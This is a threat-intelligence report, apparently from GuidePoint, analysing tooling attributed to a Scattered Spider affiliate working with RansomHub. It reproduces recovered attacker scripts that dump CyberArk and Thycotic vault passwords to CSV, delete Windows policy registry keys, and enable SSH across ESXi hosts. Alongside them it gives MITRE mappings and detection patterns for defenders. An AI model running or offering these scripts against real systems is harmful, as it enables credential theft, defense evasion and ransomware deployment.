Worldwide Web: An Analysis of Tactics and Techniques Attributed to Scattered Spider

By Jason Baker

Published: 2024-06-12 · Archived: 2026-04-05 23:36:14 UTC

June 12, 2024

Additional authors: Rui Ataide and Hermes Bojaxhi

Executive Summary

In early 2024, we identified a current affiliate of the RansomHub RaaS group as a former Alphv/Black Cat affiliate. We assess with high confidence that the same affiliate is a present or former affiliate of the Scattered Spider threat group, also tracked as UNC3944, Muddled Libra, Octo Tempest, Scatter Swine, and Starfraud. Our high-confidence assessment is based on the following pieces of evidence observed by GuidePoint's DFIR and GRIT practices:

- Overlapping tools observed in use as part of the threat actors' intrusions, including **ngrok** and **Tailscale**.
- Overlapping tactics, including the use of **social engineering** to orchestrate victim account password resets, particularly with American-accented speakers.
- Overlapping techniques, including the search for, decryption of, and use of valid credentials, particularly through **CyberArk**.
- Overlapping victims, based on evidence of past claimed victims attributed to Scattered Spider and/or Alphv.
- We observed the use of scripts containing multiple step-by-step instructions, which may indicate the use of a systematic playbook. Comments appeared throughout a number of **PowerShell** and **Python** scripts that were executed by the threat actor on victim devices. At least some of these appear to have originated from offensive security scripts available on GitHub, including "SecretServerSecretStealer".
- We also observed the use of commonplace tools by the threat actor, including:
  - ngrok, a reverse proxy/tunneling tool used for remote access.
  - Remmina, an open source remote desktop client for POSIX-based operating systems.
  - Tailscale, a software-defined mesh virtual private network(VPN) service.

Investigation Origin

In early 2024, GuidePoint's Digital Forensics and Incident Response (DFIR) team responded to an attempted ransomware event seeking to impact an organization's ESXi environment, an event we later attributed to an

affiliate of the **RansomHub** Ransomware-as-a-Service (RaaS) group. Subsequent threat hunting has led us to assess with high confidence that the same actor had previously performed successful ransomware attacks under the banner of the now-defunct **Alphv** ransomware group, also known as Black Cat or Noberus. Based on the observed threat actor Tactics, Techniques, and Procedures (TTPs), including those presented herein, we can assess with high confidence that the actor is either a present or former member of the Scattered Spider affiliate group, based on observed overlaps with known Scattered Spider tools, TTPs, and infrastructure. Discussion and concurrence from industry peers and law enforcement have supported our assessment to date.

During threat hunting and follow-on pivoting by GuidePoint's Research and Intelligence Team (GRIT), we uncovered evidence of multiple tools, references to past victim infrastructure, and Python and PowerShell scripts dating to 2023. Much of this evidence appeared to have been inadvertently "left behind" by the threat actor in a surprising lapse in Operational Security (OPSEC), that provided us with unique insight into the actor's TTPs. Several of these tools and scripts are presented in their entirety in this post, though we have redacted details that may disclose past or present victim identities or the ultimate source of the reported information. Where feasible, we have assessed the most likely purpose of each script, provided associated MITRE ATT&CK technique details, and reviewed potential detection or mitigation mechanisms that would have identified the activity as it occurred.

We hope that this report provides additional insight into an aggressive and sophisticated threat actor and threat group that continues to attack and extort organizations worldwide.

Note: Throughout this report, the word "redacted" is used in place of infrastructure details which may compromise the sources and methods of our investigation, and do not reflect actual names of infrastructure.

Background – Scattered Spider

According to a Joint Cybersecurity Advisory from the FBI and CISA, Scattered Spider "is a cybercriminal group that targets large companies and their contracted information help desks. Scattered Spider threat actors… have typically engaged in data theft for extortion and have also been known to utilize BlackCat/ALPHV ransomware alongside their usual TTPs." Scattered Spider has attracted particular attention since 2023 for their skill in social engineering, with calls to help desks to reset account passwords, "SIM-Swapping" attacks, and abuse of identity and access management platforms serving as hallmarks of their most high-profile attacks. This skill has been augmented by the participation of allegedly Western and native-English-speaking affiliates, overcoming difficulties in translation and believability that complicate similar efforts for non-English speakers.

Scattered Spider actors were first noted as conducting attacks on behalf of the Alphv/Black Cat RaaS group in late 2023, following alleged attacks on Caesars Entertainment and MGM Resorts. Microsoft has noted that the group has "monetized their intrusions since at least 2022 by selling SIM swaps to other criminals and performing account takeovers of high-net-worth individuals to steal their cryptocurrency." When Alphv seemingly disbanded in early 2024, the question arose as to where Scattered Spider actors would affiliate next. Based on our recent observations and incident response investigations, at least some portion may now be conducting operations with the newly arrived RansomHub RaaS group.

Limited details have also emerged over the past year linking Scattered Spider actors to an online collective dubbed "the Com," which has grown to potentially thousands of members since 2018 and has been associated with a wide

range of illicit online activities, often by Western young adults. Wired has described other offshoots of "the Com," including the harassment and extortion group "764," as having "targeted thousands of people and victimized dozens, if not hundreds… using some of the internet's biggest platforms," often leading to or encouraging self-harm by children and young adults. In January 2024, 19-year-old Noah Michael Urban was arrested in Florida on charges of conspiracy to commit wire fraud, eight counts of wire fraud, and five counts of aggravated identity theft, ostensibly stemming from operations linked to Scattered Spider. Scattered Spider presents as a sophisticated and persistent threat to large organizations and high-net-worth individuals, and–despite the setback of Alphv's disruption–has shown no indication of declining operational activity. Awareness of Scattered Spider's TTPs is crucial to a threat-informed and intelligence-driven defense, and we are hopeful that the information provided herein will aid in enterprise detection and response efforts.

Observed Tooling

SecretServerSecretStealer

SecretServerSecretStealer is a PowerShell script that allows for the decryption of passwords (and other items) stored within a Thycotic Secret Server[1] installation. Two methods are involved: Invoke-SecretDecrypt and Invoke-SecretStealer.

- **"Invoke-SecretDecrypt"** requires the manual passing of the various data needed to decrypt a single secret.
- "**Invoke-SecretStealer"** is designed to be run on a Thycotic Secret Server machine itself and takes only the web root as a parameter. The SecretStealer will decrypt the database configuration and connect to the application's database. All relevant information is extracted, and all secrets are decrypted.

We identified the use of SecretServerSecretStealer by the threat actor, as evidenced by multiple PowerShell scripts leveraging the project's cmdlets. The use of SecretServerSecretStealer has likely been tied to operators of multiple groups; "**Evil Corp**," also tracked as **UNC2165**, has been reported to use SecretServerSecretStealer by Mandiant and the Department of Health and Human Services.

Relevant MITRE ATT&CK Techniques:

- T1212, Exploitation for Credential Access

ngrok

According to **MITRE ATT&CK**, **ngrok** (S0508) is a legitimate reverse proxy tool that can create a secure tunnel to servers located behind firewalls or on local machines that do not have a public IP. Threat actors have leveraged ngrok in several campaigns, including for lateral movement and data exfiltration. We identified the threat actor's use of ngrok as evidenced by forensic artifacts and observable configuration details. Scattered Spider's use of ngrok has been identified in a Joint FBI-CISA Cybersecurity Advisory on the group.

Relevant MITRE ATT&CK Techniques:

- T1572, Protocol Tunneling; ngrok can tunnel RDP and other services securely over internet connections
- T1090, Proxy; ngrok can be used to proxy connections to machines located behind NAT or firewalls

Detection Opportunities:

- To establish its tunnel, ngrok fetches ngrok tunneling server domains and IP addresses from this URL (https://s3.amazonaws.com/dns.ngrok.com/tunnel.json), which can be used to identify firewall and DNS log queries
- ngrok is typically used to connect over the **Remote Desktop Protocol (RDP)** on Windows Systems; RDP connections can be monitored, alerted on, and reviewed in Microsoft's event logs.
- Open Source Sigma rules are available to detect the command line parameters of ngrok, such as this one from SigmaHQ.

Remmina

We identified the use of **Remmina**, an open-source remote desktop client for POSIX-based operating systems, based on command-line instructions for installation via **BASH**. Remmina would very likely have been used on the threat actor's system to connect remotely to victim infrastructure. We note that the observed installation instructions also called for the installation of associated plugins for the **RDP** and **SPICE** protocols.

Relevant MITRE ATT&CK Techniques:

- T1021, Remote Services
- T1021.001, Remote Services: Remote Desktop Protocol

Observed Scripts

Retrieving CyberArk Account Information With Valid Credentials – PowerShell Script

Both Mandiant and Reliaquest have reported Scattered Spider's targeting of **CyberArk** for credential theft and lateral movement. We observed similar behavior and capabilities demonstrated by the group, in the form of the below PowerShell script that we discovered in the course of our threat hunts. This script interacts with the **CyberArk Privileged Access Security (PAS)** solution to pull account information from safes and export it to a CSV file, almost certainly supporting follow-on lateral movement and persistence in the course of their intrusion.

The script checks to ensure that the **psPAS** module is installed (and installs it if not), sets valid CyberArk credentials as variables, authenticates with privileged access using those variables, pulls account information from CyberArk PAS safes, retrieves their passwords, and exports the data to a CSV file.

```
 if (!(Get-Module "psPAS")) {
   Import-Module "psPAS"
}

$baseURL = "Redacted - Victim URL"
$outputFile = "New_Export.csv"
$firstRun = $true

New-PASSession -BaseURI $baseURL
```

```
$safes = Get-PASSafe

foreach ($safe in $safes) {
   Write-Host "Pulling Accounts from Safe: " $safe.safeName`... -NoNewLine
   $accounts = Get-PASAccount -safeName $safe.safeName
   Write-Host "Done!" -ForegroundColor Green
   foreach ($account in $accounts) {
       $date = Get-Date -Format yyyy-MM-dd
       Write-Host "Getting current password for" $account.name`... -NoNewLine
       try{
            $currentPW = Get-PASAccountPassword -AccountID $account.id -Reason Work
       }
       catch{
            $currentPW = Get-PASAccountPassword -AccountID $account.id -Reason Work -TicketID "null"
       }
       Write-Host "Done!" -ForegroundColor Green
       $outputCSV = New-Object -TypeName PSobject -Property @{
           DatePulled = $date
           Safe = $account.safeName
           ObjectID = $account.name
           UserName = $account.userName
           Password = $currentPW.Password
       }
       if ($firstRun -ne $false) {
           $outputCSV | Select-Object -Property DatePulled,Safe,ObjectID,UserName,Password | ConvertTo-Csv -NoTy
           Add-Content $outputFile
       } else {
           $outputCSV | Select-Object -Property DatePulled,Safe,ObjectID,UserName,Password | ConvertTo-Csv -NoTy
           Select-Object -Skip 1 | Add-Content $outputFile
       }
       $firstRun = $false
   }
}
```

Relevant MITRE ATT&CK Techniques:

- T1059.01, Command and Scripting Interpreter: PowerShell
- T1087, Account Discovery
- T1212, Exploitation for Credential Access
- T1552, Unsecured Credentials
- T1555, Credentials from Password Stores

Detection Opportunities

- For organizations with PowerShell module logging, script block logging, and transcription enabled, this script may be detectable via Sigma rules based on the details of this script. Details may also be discovered using retroactive threat hunts.

- E.g., `CommandLine:'*Get-PASAccountPassword* -AccountID*'`

Thycotic Secrets Dump Decryption – PowerShell Script

While we have not observed reporting explicitly indicating Scattered Spider's targeting of **Thycotic**, we assess with high confidence that the group's actors would have similar interest in targeting the platform for the same purposes as **CyberArk**. We discovered the below PowerShell script in the course of our threat hunts, which uses PowerShell cmdlets to route the results of a Thycotic Secrets Dump to a CSV file, load the CSV file, then iterate through the CSV file to decrypt each secret using the **Invoke-SecretDecrypt** method of the **SecretServerSecretStealer** project. The decrypted secrets are then appended to an outputted CSV file. This script may be intended as a follow-on action to the **thycotic_secretserver_dump** module of Metasploit.

```
 $csvPath = "C:\Redacted\thycotic dump\out.csv"
$masterkey = "Redacted"
$outputPath = "C:\Redacted\thycotic dump\final.csv"
$secrets = Import-Csv $csvPath

foreach ($secret in $secrets) {
    $decryptedValue = Invoke-SecretDecrypt -EncryptionConfig .\encryption.config -NewFormat -Key $secret.Key.Sub

    $outputObject = [PsCustomObject]@{
        SecretName = $secret.SecretName
        SecretFieldName = $secret.SecretFieldName
        DecryptedValue = $decryptedValue
    }

    $outputObject | Export-Csv -Path $outputPath -Append -NoTypeInformation
}

Write-Output "Decryption complete. Output saved to $outputPath"
```

Relevant MITRE ATT&CK Techniques:

- T1212, Exploitation for Credential Access
- T1552, Unsecured Credentials
- T1555, Credentials from Password Stores

Detection Opportunities:

- For organizations with PowerShell module logging, script block logging, and transcription enabled, this script may be detectable via Sigma rules based on the details of this script. Details may also be discovered using retroactive threat hunts.
- E.g., `CommandLine: '*Invoke-SecretDecrypt*'`

Windows Registry Subkey Deletion – Batch Script

We discovered the below batch script in the course of our threat hunting efforts. The batch script, which deletes multiple registry subkeys and entries, is almost certainly intended to circumvent Virus and Threat protection settings in Windows, presumably in support of defense evasion efforts. The reg delete command deletes the existing registry subkey or entry without asking for confirmation by using the /f parameter. Of note, the commands issued as part of this script have been repeatedly recommended in Microsoft Community forums by moderators as a remedial step to overcome organizational settings and controls.

```
 reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies" /f
reg delete "HKCU\Software\Microsoft\WindowsSelfHost" /f
reg delete "HKCU\Software\Policies" /f
reg delete "HKLM\Software\Microsoft\Policies" /f
reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies" /f
reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\WindowsStore\WindowsUpdate" /f
reg delete "HKLM\Software\Microsoft\WindowsSelfHost" /f
reg delete "HKLM\Software\Policies" /f
reg delete "HKLM\Software\WOW6432Node\Microsoft\Policies" /f
reg delete "HKLM\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Policies" /f
reg delete "HKLM\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\WindowsStore\WindowsUpdate" /f
```

Relevant MITRE ATT&CK Techniques:

- T1059, Command and Scripting Interpreter
- T1112, Modify Registry

Detection Opportunities:

- Sigma rules can be built based on the CommandLine details of this script
- E.g., `CommandLine: '*reg delete "HKCU\\Software\\Microsoft\\WindowsSelfHost" /f*'`
- Sigma rules can be built based on the TargetObject of the above referenced Registry Subkeys

ESXi Discovery and SSH Enabling – PowerShell Script

We discovered the below PowerShell script in the course of our threat hunting efforts and have noted that it likely serves to facilitate discovery and increase the susceptibility of an organization's ESXi environment to subsequent encryptor deployment. This script connects to a vCenter Server, retrieves all ESXi hosts, and configures the SSH service on each host to start automatically, allowing external SSH connections. In other instances, we also observed the use of a similar script to reset the ESXi root user password and then disconnect from the vCenter Server.

```
 Connect-VIServer -Server [Redacted] -User root -Password [Redacted]

$esxiHosts = Get-VMHost

foreach ($esxiHost in $esxiHosts) {
    $sshService = Get-VMHostService -VMHost $esxiHost | Where { $_.Key -eq "TSM-SSH"}
```

```
    $sshService.Policy.StartPolicy = "start"
    Set-VMHostService -VMHost $esxiHost -Service $sshService
}

Disconnect-VIServer -Server [Redacted] -Confirm:$false
```

Relevant MITRE ATT&CK Techniques:

- T0846, Remote System Discovery
- T1021.004, Remote Services: SSH
- T1059.01, Command and Scripting Interpreter: PowerShell

Detection Opportunities:

- For organizations with PowerShell module logging, script block logging, and transcription enabled, this script may be detectable via Sigma rules based on the details of this script. Details may also be discovered using retroactive threat hunts.
- E.g., `CommandLine:'*Disconnect-VIServer* -Server * -Confirm:$false*'`

Encryptor Delivery to ESXi Hosts via SSH – Python Script

Finally, among the scripts discovered as "left behind" by the threat actor was a seemingly customized Python Script designed to establish an SSH connection with prospective victim ESXi servers, transfer the encryptor via SFTP, verify the successful transfer of the encryptor, and execute the encryptor across multiple servers in parallel. MITRE, Avertium, and Aon have all described the use of SSH and the encryption of ESXi environments as characteristic of Scattered Spider operations, though we note that these details are shared by multiple ransomware and extortion groups. This script would likely be used following the ESXi discovery and SSH enabling script above in order to maximize its impact. The script uses previously acquired ESXi IP addresses and credentials to perform the actions recursively across an environment.

Relevant MITRE ATT&CK Techniques:

- T1021.004, Remote Services: SSH
- T1059.006, Command and Scripting Interpreter: Python
- T1105, Ingress Tool Transfer
- T1486, Data Encrypted for Impact

Detection Opportunities:

- Installation of Python on an unexpected server.
- SSH connections from a Windows server in a short period of time to multiple ESXi hosts.
- EDR telemetry on network connections from a Python executable to ESXi infrastructure from unexpected locations

Conclusion

Over the course of this report, we have highlighted tools and scripts employed by a suspected Scattered Spider actor in the course of double-extortion ransomware operations, which they appear to have continued from Alphv-aligned operations into RansomHub-aligned operations. The actor takes advantage of open source tooling, including ngrok, Remmina, and Tailscale, commonly used by ransomware actors for remote access and command and control, and also employs a series of PowerShell and Python scripts to perform credential theft, lateral movement, privilege escalation, command and control, and actions on objectives.

In addition to the TTPs described in this report, we note that social engineering, particularly as it pertains to legitimate account takeovers, remains emblematic of Scattered Spider operations. Each of our incident response investigations that have involved a known or suspected Scattered Spider actor has included some element of social engineering, with the most common being the deception of help desk personnel for the purpose of account password resets or multifactor authentication setup. User education and processes designed to verify the identity of callers are the two most effective means of combatting this tactic, which will almost always pass undetected unless reported by employees.

Finally, we wish to highlight the “good news” – This threat actor’s use of open-source tools and likely preformulated scripts are not indicative of a highly innovative and novel threat, but instead align with threats commonly posed by most prolific ransomware groups – albeit with a greater emphasis on identity and access management. The threat actor’s primary advantage over other groups thus lies mainly in their ability to persistently and convincingly conduct social engineering operations, and to remain persistent in their attempts to gain unauthorized access until detected and evicted. In at least one case with which we are familiar, Scattered Spider actors did not attempt reentry once successfully evicted from a target environment, suggesting that the group’s operations may be opportunistic in nature rather than highly focused on successfully compromising specific targets.

Sharing of threat intelligence information ranging from the atomic to the behavioral remains one of our greatest potential advantages as Defenders. Properly analyzed and disseminated, there is little reason for today’s adversary TTPs to work a year from now. We encourage our industry peers and partners to proactively share similar information with the wider community in the interest of raising our collective defenses and increasing the barriers our adversaries must surmount to achieve their objectives.

---

[1]Thycotic Secret Server is a Privileged Access Management (PAM) solution that offers a centralized vault to store sensitive information such as passwords, keys, and certificates for access by authorized personnel.
